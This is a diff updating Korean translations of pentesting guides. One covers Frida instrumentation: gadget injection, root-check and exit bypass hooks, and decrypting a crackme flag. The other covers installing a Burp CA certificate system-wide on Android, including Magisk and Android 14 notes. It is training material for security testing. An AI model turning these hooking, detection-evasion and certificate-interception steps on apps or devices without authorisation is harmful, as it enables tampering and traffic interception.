uber-apk-signer -a app_gadget.apk -o out_signed adb install -r out_signed/app_gadget-aligned-debugSigned.apk ``` -4) host์—์„œ gadget process์— Attach: +4) ํ˜ธ์ŠคํŠธ์—์„œ gadget ํ”„๋กœ์„ธ์Šค์— ์—ฐ๊ฒฐ: ```bash frida-ps -Uai frida -U -n com.example.app ``` -์ฐธ๊ณ  -- Gadget์€ ์ผ๋ถ€ ๋ณดํ˜ธ ๊ธฐ๋Šฅ์— ์˜ํ•ด ํƒ์ง€๋ฉ๋‹ˆ๋‹ค; ํ•„์š”ํ•˜๋ฉด ์ด๋ฆ„/๊ฒฝ๋กœ๋ฅผ ์€ํํ•˜๊ณ  ๋Šฆ๊ฒŒ/์กฐ๊ฑด๋ถ€๋กœ ๋กœ๋“œํ•˜์„ธ์š”. -- ๋ณดํ˜ธ๊ฐ€ ๊ฐ•ํ™”๋œ ์•ฑ์—์„œ๋Š” rooted testing์„ server + late attach๋กœ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜ Magisk/Zygisk ์ˆจ๊น€๊ณผ ๊ฒฐํ•ฉํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. +๋…ธํŠธ +- Gadget์€ ์ผ๋ถ€ ๋ณดํ˜ธ ๋ฉ”์ปค๋‹ˆ์ฆ˜์— ์˜ํ•ด ํƒ์ง€๋  ์ˆ˜ ์žˆ์œผ๋‹ˆ ์ด๋ฆ„/๊ฒฝ๋กœ๋ฅผ ์€๋‹‰ํ•˜๊ณ  ํ•„์š”ํ•˜๋ฉด ๋Šฆ๊ฒŒ ๋˜๋Š” ์กฐ๊ฑด๋ถ€๋กœ ๋กœ๋“œํ•˜์„ธ์š”. +- ํ•˜๋“œ๋‹๋œ ์•ฑ์˜ ๊ฒฝ์šฐ server + late attach๋ฅผ ์ด์šฉํ•œ rooted testing์„ ์„ ํ˜ธํ•˜๊ฑฐ๋‚˜ Magisk/Zygisk ์€๋‹‰๊ณผ ๊ฒฐํ•ฉํ•˜์„ธ์š”. -## Tutorials +## ํŠœํ† ๋ฆฌ์–ผ ### [Tutorial 1](frida-tutorial-1.md) @@ -81,27 +81,27 @@ frida -U -n com.example.app **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**์ฝ์œผ๋ ค๋ฉด [link to read it](frida-tutorial-1.md)๋ฅผ ๋”ฐ๋ผ๊ฐ€์„ธ์š”.** +**์ฝ์œผ๋ ค๋ฉด [๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.](frida-tutorial-1.md)** ### [Tutorial 2](frida-tutorial-2.md) **์ถœ์ฒ˜**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**์ฝ์œผ๋ ค๋ฉด[ link to read it.](frida-tutorial-2.md)** +**์ฝ์œผ๋ ค๋ฉด [๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.](frida-tutorial-2.md)** ### [Tutorial 3](owaspuncrackable-1.md) **์ถœ์ฒ˜**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**์ฝ์œผ๋ ค๋ฉด [link to read it](owaspuncrackable-1.md)๋ฅผ ๋”ฐ๋ผ๊ฐ€์„ธ์š”.** +**์ฝ์œผ๋ ค๋ฉด [๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.](owaspuncrackable-1.md)** -**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**์ถ”๊ฐ€ Awesome Frida ์Šคํฌ๋ฆฝํŠธ๋Š” ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) ## ๋น ๋ฅธ ์˜ˆ์ œ -### ์ปค๋งจ๋“œ๋ผ์ธ์—์„œ Frida ํ˜ธ์ถœ +### ๋ช…๋ น์ค„์—์„œ Frida ํ˜ธ์ถœํ•˜๊ธฐ ```bash frida-ps -U @@ -114,7 +114,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1 #frozen so that the instrumentation can occur, and the automatically #continue execution with our modified code. ``` -### ๊ธฐ๋ณธ Python Script +### ๊ธฐ๋ณธ Python ์Šคํฌ๋ฆฝํŠธ ```python import frida, sys @@ -125,9 +125,9 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### Hooking functions โ€” ๋งค๊ฐœ๋ณ€์ˆ˜ ์—†์Œ +### Hooking ํ•จ์ˆ˜(๋งค๊ฐœ๋ณ€์ˆ˜ ์—†์Œ) -ํด๋ž˜์Šค `sg.vantagepoint.a.c`์˜ ํ•จ์ˆ˜ `a()`๋ฅผ Hookํ•˜์„ธ์š”. +ํด๋ž˜์Šค `sg.vantagepoint.a.c`์˜ ํ•จ์ˆ˜ `a()`๋ฅผ Hookํ•˜์„ธ์š” ```javascript Java.perform(function () { ; rootcheck1.a.overload().implementation = function() { @@ -144,7 +144,7 @@ sysexit.exit.overload("int").implementation = function (var_0) { send("java.lang.System.exit(I)V // We avoid exiting the application :)") } ``` -Hook MainActivity `.onStart()` ๋ฐ `.onCreate()` +Hook MainActivity `.onStart()` & `.onCreate()` ```javascript var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity") mainactivity.onStart.overload().implementation = function () { @@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -android `.onCreate()` ํ›… +Hook android `.onCreate()` ```javascript var activity = Java.use("android.app.Activity") activity.onCreate.overload("android.os.Bundle").implementation = function ( @@ -168,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking ํ•จ์ˆ˜์˜ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ๋ฐ˜ํ™˜๊ฐ’ ๊ฐ€์ ธ์˜ค๊ธฐ +### ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์žˆ๋Š” ํ•จ์ˆ˜ Hooking ๋ฐ ๋ฐ˜ํ™˜๊ฐ’ ํš๋“ -๋ณตํ˜ธํ™” ํ•จ์ˆ˜์— Hookingํ•˜๊ธฐ. ์ž…๋ ฅ์„ ์ถœ๋ ฅํ•˜๊ณ , ์›๋ณธ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด ์ž…๋ ฅ์„ ๋ณตํ˜ธํ™”ํ•œ ๋‹ค์Œ, ํ‰๋ฌธ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค: +decryption ํ•จ์ˆ˜๋ฅผ Hookingํ•ฉ๋‹ˆ๋‹ค. ์ž…๋ ฅ์„ ์ถœ๋ ฅํ•˜๊ณ , ์›๋ณธ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด ์ž…๋ ฅ์„ decryptํ•œ ๋‹ค์Œ, ๋งˆ์ง€๋ง‰์œผ๋กœ ํ‰๋ฌธ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค: ```javascript function getString(data) { var ret = "" @@ -195,9 +195,9 @@ send("Decrypted flag: " + flag) return ret //[B } ``` -### Hooking functions ๋ฐ ์šฐ๋ฆฌ ์ž…๋ ฅ์œผ๋กœ ํ˜ธ์ถœํ•˜๊ธฐ +### Hooking functions and calling them with our input -string์„ ๋ฐ›๋Š” function์„ Hookํ•˜์—ฌ ๋‹ค๋ฅธ string์œผ๋กœ ํ˜ธ์ถœํ•œ๋‹ค (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +string์„ ๋ฐ›๋Š” ํ•จ์ˆ˜๋ฅผ Hookํ•˜๊ณ  ๋‹ค๋ฅธ string์œผ๋กœ ํ˜ธ์ถœํ•˜๊ธฐ (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -210,11 +210,11 @@ console.log("Return value: " + ret) return ret } ``` -### ์ด๋ฏธ ์ƒ์„ฑ๋œ ํด๋ž˜์Šค์˜ ๊ฐ์ฒด ๊ฐ€์ ธ์˜ค๊ธฐ +### ์ด๋ฏธ ์ƒ์„ฑ๋œ ํด๋ž˜์Šค ๊ฐ์ฒด ๊ฐ€์ ธ์˜ค๊ธฐ -์ด๋ฏธ ์ƒ์„ฑ๋œ ๊ฐ์ฒด์˜ ์†์„ฑ ์ผ๋ถ€๋ฅผ ์ถ”์ถœํ•˜๋ ค๋ฉด ์ด ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด๋ฏธ ์ƒ์„ฑ๋œ ๊ฐ์ฒด์˜ ์†์„ฑ(attribute)์„ ์ถ”์ถœํ•˜๋ ค๋ฉด ์ด๊ฒƒ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์ด ์˜ˆ์ œ์—์„œ๋Š” ํด๋ž˜์Šค my_activity์˜ ๊ฐ์ฒด๋ฅผ ์–ป๋Š” ๋ฐฉ๋ฒ•๊ณผ, ํ•ด๋‹น ๊ฐ์ฒด์˜ private ์†์„ฑ์„ ์ถœ๋ ฅํ•˜๋Š” .secret() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค: +์ด ์˜ˆ์ œ์—์„œ๋Š” ํด๋ž˜์Šค my_activity์˜ ๊ฐ์ฒด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐฉ๋ฒ•๊ณผ ๊ฐ์ฒด์˜ private ์†์„ฑ์„ ์ถœ๋ ฅํ•˜๋Š” .secret() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity", { onMatch: function (instance) { @@ -225,16 +225,16 @@ console.log("Result of secret func: " + instance.secret()) onComplete: function () {}, }) ``` -## ๊ธฐํƒ€ Frida ํŠœํ† ๋ฆฌ์–ผ +## ๋‹ค๋ฅธ Frida ํŠœํ† ๋ฆฌ์–ผ - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [Advanced Frida Usage ๋ธ”๋กœ๊ทธ ์‹œ๋ฆฌ์ฆˆ 1๋ถ€: iOS ์•”ํ˜ธํ™” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -## ์ฐธ๊ณ  ์ž๋ฃŒ +## ์ฐธ๊ณ ์ž๋ฃŒ -- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -- [Frida Gadget documentation](https://frida.re/docs/gadget/) -- [Frida releases (server binaries)](https://github.com/frida/frida/releases) +- [์žฌํ˜„ ๊ฐ€๋Šฅํ•œ Android Bug Bounty Lab ๊ตฌ์ถ•: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) +- [Frida Gadget ๋ฌธ์„œ](https://frida.re/docs/gadget/) +- [Frida ๋ฆด๋ฆฌ์Šค (server binaries)](https://github.com/frida/frida/releases) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 56e1a0a95..0ecf15dd9 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -5,7 +5,7 @@ ## ADB๋ฅผ ํ†ตํ•œ ์‹œ์Šคํ…œ ์ „์ฒด ํ”„๋ก์‹œ -์ „์—ญ HTTP ํ”„๋ก์‹œ๋ฅผ ๊ตฌ์„ฑํ•˜์—ฌ ๋ชจ๋“  ์•ฑ์ด ํŠธ๋ž˜ํ”ฝ์„ interceptor (Burp/mitmproxy)๋ฅผ ํ†ตํ•ด ๋ผ์šฐํŒ…ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค: +๋ชจ๋“  ์•ฑ์˜ ํŠธ๋ž˜ํ”ฝ์ด ์ธํ„ฐ์…‰ํ„ฐ(Burp/mitmproxy)๋ฅผ ํ†ตํ•ด ์ „๋‹ฌ๋˜๋„๋ก ์ „์—ญ HTTP ํ”„๋ก์‹œ๋ฅผ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค: ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -13,7 +13,7 @@ adb shell settings put global http_proxy 192.168.1.2:8080 # Clear proxy adb shell settings put global http_proxy :0 ``` -ํŒ: Burp์—์„œ ๋ฆฌ์Šค๋„ˆ๋ฅผ 0.0.0.0์— ๋ฐ”์ธ๋“œํ•˜๋ฉด LAN์˜ ๋””๋ฐ”์ด์Šค๋“ค์ด ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (Proxy -> Options -> Proxy Listeners). +ํŒ: Burp์—์„œ ๋ฆฌ์Šค๋„ˆ๋ฅผ 0.0.0.0์— ๋ฐ”์ธ๋“œํ•˜๋ฉด LAN์˜ ์žฅ์น˜๋“ค์ด ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (Proxy -> Options -> Proxy Listeners). ## ๊ฐ€์ƒ ๋จธ์‹ ์—์„œ @@ -21,7 +21,7 @@ adb shell settings put global http_proxy :0 ![](<../../images/image (367).png>) -**Der ํ˜•์‹์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ๋‚ด๋ณด๋‚ด๊ธฐ**ํ•œ ๋‹ค์Œ **๋ณ€ํ™˜**ํ•˜์—ฌ **Android**๊ฐ€ **์ดํ•ดํ•  ์ˆ˜ ์žˆ๋Š”** ํ˜•ํƒœ๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค. **AVD์˜ Android ๋จธ์‹ ์— burp ์ธ์ฆ์„œ๋ฅผ ๊ตฌ์„ฑํ•˜๋ ค๋ฉด** ์ด ๋จธ์‹ ์„ **`-writable-system`** ์˜ต์…˜๊ณผ **ํ•จ๊ป˜** **์‹คํ–‰**ํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์„ ์œ ์˜ํ•˜์„ธ์š”.\ +**Der ํ˜•์‹์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ๋‚ด๋ณด๋‚ธ ๋‹ค์Œ** ์ด๋ฅผ **Android**๊ฐ€ ์ดํ•ดํ•  ์ˆ˜ ์žˆ๋Š” ํ˜•ํƒœ๋กœ **๋ณ€ํ™˜**ํ•ฉ์‹œ๋‹ค. ์ฐธ๊ณ ๋กœ **AVD์˜ Android ๋จธ์‹ ์— burp ์ธ์ฆ์„œ๋ฅผ ๊ตฌ์„ฑํ•˜๋ ค๋ฉด** ์ด ๋จธ์‹ ์„ **`-writable-system`** ์˜ต์…˜๊ณผ ํ•จ๊ป˜ **์‹คํ–‰**ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.\ ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system @@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -๋จธ์‹ ์ด **์žฌ๋ถ€ํŒ…์„ ๋งˆ์น˜๋ฉด** Burp certificate๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค! +Once the **machine finish rebooting** the burp certificate will be in use by it! ## Magisc ์‚ฌ์šฉํ•˜๊ธฐ -๋งŒ์•ฝ ๋‹น์‹ ์ด **Magisc๋กœ ๊ธฐ๊ธฐ๋ฅผ ๋ฃจํŠธ(root)ํ™”ํ–ˆ๋‹ค**(์—๋ฎฌ๋ ˆ์ดํ„ฐ์ผ ์ˆ˜ ์žˆ์Œ)๋ฉด, ์ด์ „์— Burp cert๋ฅผ ์„ค์น˜ํ•˜๋Š” **๋‹จ๊ณ„๋“ค**์„ ๋”ฐ๋ผํ•  ์ˆ˜ ์—†๊ณ  ๊ทธ ์ด์œ ๊ฐ€ **ํŒŒ์ผ์‹œ์Šคํ…œ์ด ์ฝ๊ธฐ ์ „์šฉ(read-only)**์ด๋ผ remount๋กœ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์—†๋‹ค๋ฉด, ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. +If you **rooted your device with Magisc** (maybe an emulator), and you **can't follow** the previous **steps** to install the Burp cert because the **filesystem is read-only** and you cannot remount it writable, there is another way. -[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8)์— ์„ค๋ช…๋œ ๊ฒƒ์ฒ˜๋Ÿผ, ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to: -1. **CA certificate ์„ค์น˜**: DER Burp certificate ํŒŒ์ผ์˜ ํ™•์žฅ์ž๋ฅผ `.crt`๋กœ **๋ณ€๊ฒฝํ•œ ํ›„** ๋ชจ๋ฐ”์ผ๋กœ **๋“œ๋ž˜๊ทธ&๋“œ๋กญ**ํ•˜์—ฌ Downloads ํด๋”์— ์ €์žฅํ•˜๊ณ  `Install a certificate` -> `CA certificate`๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค +1. **Install a CA certificate**: Just ๋“œ๋ž˜๊ทธ&๋“œ๋กญ the DER Burp certificate **changing the extension** to `.crt` in the mobile so it's stored in the Downloads folder and go to `Install a certificate` -> `CA certificate`
-- ์ธ์ฆ์„œ๊ฐ€ ์ œ๋Œ€๋กœ ์ €์žฅ๋˜์—ˆ๋Š”์ง€ `Trusted credentials` -> `USER`๋กœ ์ด๋™ํ•ด ํ™•์ธํ•˜์„ธ์š” +- ์ธ์ฆ์„œ๊ฐ€ ์ œ๋Œ€๋กœ ์ €์žฅ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด `Trusted credentials` -> `USER`๋กœ ์ด๋™ํ•˜์„ธ์š”
-2. **System trusted๋กœ ๋งŒ๋“ค๊ธฐ**: Magisc ๋ชจ๋“ˆ [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip ํŒŒ์ผ)๋ฅผ ๋‹ค์šด๋กœ๋“œํ•œ ๋’ค, ํฐ์— **๋“œ๋ž˜๊ทธ&๋“œ๋กญ**ํ•˜๊ณ  ํฐ์˜ **Magics app**์—์„œ **`Modules`** ์„น์…˜์œผ๋กœ ๋“ค์–ด๊ฐ€ **`Install from storage`**๋ฅผ ํด๋ฆญํ•ด `.zip` ๋ชจ๋“ˆ์„ ์„ ํƒํ•˜์—ฌ ์„ค์น˜ํ•œ ๋‹ค์Œ ํฐ์„ **์žฌ๋ถ€ํŒ…**ํ•ฉ๋‹ˆ๋‹ค: +2. **Make it System trusted**: Download the Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (a .zip file), ๋“œ๋ž˜๊ทธ&๋“œ๋กญ it in the phone, go to the Magics app in the phone to the `Modules` section, click on `Install from storage`, select the `.zip` module and once installed **reboot** the phone:
-- ์žฌ๋ถ€ํŒ… ํ›„ `Trusted credentials` -> `SYSTEM`๋กœ ์ด๋™ํ•ด Postswigger cert๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” +- Reboot ํ›„ `Trusted credentials` -> `SYSTEM`์œผ๋กœ ๊ฐ€์„œ Postswigger cert๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”
### Magisc ๋ชจ๋“ˆ ๋งŒ๋“œ๋Š” ๋ฒ• ๋ฐฐ์šฐ๊ธฐ -๋‹ค์Œ ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”: https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437 +ํ™•์ธ: https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437 ## Android 14 ์ดํ›„ -์ตœ์‹  Android 14 ๋ฆด๋ฆฌ์Šค์—์„œ๋Š” system-trusted Certificate Authority (CA) ์ธ์ฆ์„œ ์ฒ˜๋ฆฌ ๋ฐฉ์‹์— ํฐ ๋ณ€ํ™”๊ฐ€ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด์ „์—๋Š” ์ด ์ธ์ฆ์„œ๋“ค์ด **`/system/etc/security/cacerts/`**์— ์œ„์น˜ํ•ด ์žˆ์–ด root ๊ถŒํ•œ์ด ์žˆ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผยท์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ  ์‹œ์Šคํ…œ ์ „์ฒด์— ์ฆ‰์‹œ ์ ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Android 14์—์„œ๋Š” ์ €์žฅ ์œ„์น˜๊ฐ€ **`/apex/com.android.conscrypt/cacerts`**๋กœ ์ด๋™ํ–ˆ์œผ๋ฉฐ, ์ด๋Š” **`/apex`** ๊ฒฝ๋กœ ๋‚ด์˜ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ๋ณธ์งˆ์ ์œผ๋กœ ๋ณ€๊ฒฝ ๋ถˆ๊ฐ€๋Šฅ(immutable)ํ•ฉ๋‹ˆ๋‹ค. +์ตœ์‹  Android 14 ๋ฆด๋ฆฌ์Šค์—์„œ๋Š” ์‹œ์Šคํ…œ ์‹ ๋ขฐ Certificate Authority(CA) ์ธ์ฆ์„œ ์ฒ˜๋ฆฌ ๋ฐฉ์‹์— ํฐ ๋ณ€ํ™”๊ฐ€ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด์ „์—๋Š” ์ด๋Ÿฌํ•œ ์ธ์ฆ์„œ๊ฐ€ **`/system/etc/security/cacerts/`**์— ์œ„์น˜ํ•ด ์žˆ์–ด root ๊ถŒํ•œ์ด ์žˆ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ์‹œ์Šคํ…œ ์ „์ฒด์— ์ฆ‰์‹œ ์ ์šฉ๋  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Android 14์—์„œ๋Š” ์ €์žฅ ์œ„์น˜๊ฐ€ **`/apex/com.android.conscrypt/cacerts`**๋กœ ์ด๋™๋˜์—ˆ์œผ๋ฉฐ, ์ด๋Š” **`/apex`** ๊ฒฝ๋กœ ๋‚ด์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ๋ณธ์งˆ์ ์œผ๋กœ ๋ถˆ๋ณ€(immutable)์ž…๋‹ˆ๋‹ค. -**APEX cacerts path**๋ฅผ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๋„๋ก remountํ•˜๋ ค๋Š” ์‹œ๋„๋Š” ์‹œ์Šคํ…œ์—์„œ ํ—ˆ์šฉ๋˜์ง€ ์•Š์•„ ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค. ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์–ธ๋งˆ์šดํŠธํ•˜๊ฑฐ๋‚˜ tmpfs๋กœ ์˜ค๋ฒ„๋ ˆ์ดํ•ด๋„ ๋ถˆ๋ณ€์„ฑ์„ ์šฐํšŒํ•˜์ง€ ๋ชปํ•˜๋ฉฐ, ํŒŒ์ผ์‹œ์Šคํ…œ ์ˆ˜์ค€์—์„œ ๋ณ€๊ฒฝ์„ ๊ฐ€ํ•ด๋„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์—ฌ์ „ํžˆ ์›๋ณธ ์ธ์ฆ์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฐธ์กฐํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **`/apex`** ๋งˆ์šดํŠธ๊ฐ€ PRIVATE propagation์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ์–ด **`/apex`** ๋‚ด์˜ ๋ณ€๊ฒฝ์ด ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค์— ์˜ํ–ฅ์„ ์ฃผ์ง€ ์•Š๋„๋ก ํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. +`APEX cacerts path`๋ฅผ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๊ฒŒ remountํ•˜๋ ค๋Š” ์‹œ๋„๋Š” ์‹คํŒจ๋กœ ๋Œ์•„๊ฐ‘๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ์ด ์ด๋Ÿฌํ•œ ์ž‘์—…์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. tmpfs๋กœ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์–ธ๋งˆ์šดํŠธํ•˜๊ฑฐ๋‚˜ ์˜ค๋ฒ„๋ ˆ์ดํ•˜๋ ค๋Š” ์‹œ๋„๋„ ๋ถˆ๋ณ€์„ฑ์„ ์šฐํšŒํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค; ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๋“ค์€ ํŒŒ์ผ ์‹œ์Šคํ…œ ์ˆ˜์ค€์˜ ๋ณ€๊ฒฝ๊ณผ ๊ด€๊ณ„์—†์ด ์›๋ž˜์˜ ์ธ์ฆ์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ณ„์† ์ฐธ์กฐํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **`/apex`** ๋งˆ์šดํŠธ๊ฐ€ PRIVATE propagation์œผ๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์–ด **`/apex`** ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์˜ ๋ณ€๊ฒฝ์ด ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค์— ์˜ํ–ฅ์„ ๋ฏธ์น˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. -Android ์ดˆ๊ธฐํ™”๋Š” `init` ํ”„๋กœ์„ธ์Šค๊ฐ€ ์šด์˜์ฒด์ œ๋ฅผ ์‹œ์ž‘ํ•˜๋ฉด์„œ Zygote ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ธฐ๋™ํ•˜๋Š” ๊ณผ์ •์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. Zygote๋Š” ์ƒˆ๋กœ์šด ๋งˆ์šดํŠธ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ๊ฐ€์ง„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹œ์ž‘ํ•˜๋Š” ์—ญํ• ์„ ํ•˜๋ฉฐ, ์ด ๋„ค์ž„์ŠคํŽ˜์ด์Šค์—๋Š” private **`/apex`** ๋งˆ์šดํŠธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์–ด ํ•ด๋‹น ๋””๋ ‰ํ† ๋ฆฌ์— ๋Œ€ํ•œ ๋ณ€๊ฒฝ์ด ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค์™€ ๊ฒฉ๋ฆฌ๋ฉ๋‹ˆ๋‹ค. +Android ์ดˆ๊ธฐํ™” ๊ณผ์ •์€ `init` ํ”„๋กœ์„ธ์Šค๊ฐ€ ์šด์˜์ฒด์ œ๋ฅผ ์‹œ์ž‘ํ•˜๋ฉด์„œ Zygote ํ”„๋กœ์„ธ์Šค๋ฅผ ํ•จ๊ป˜ ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์„ 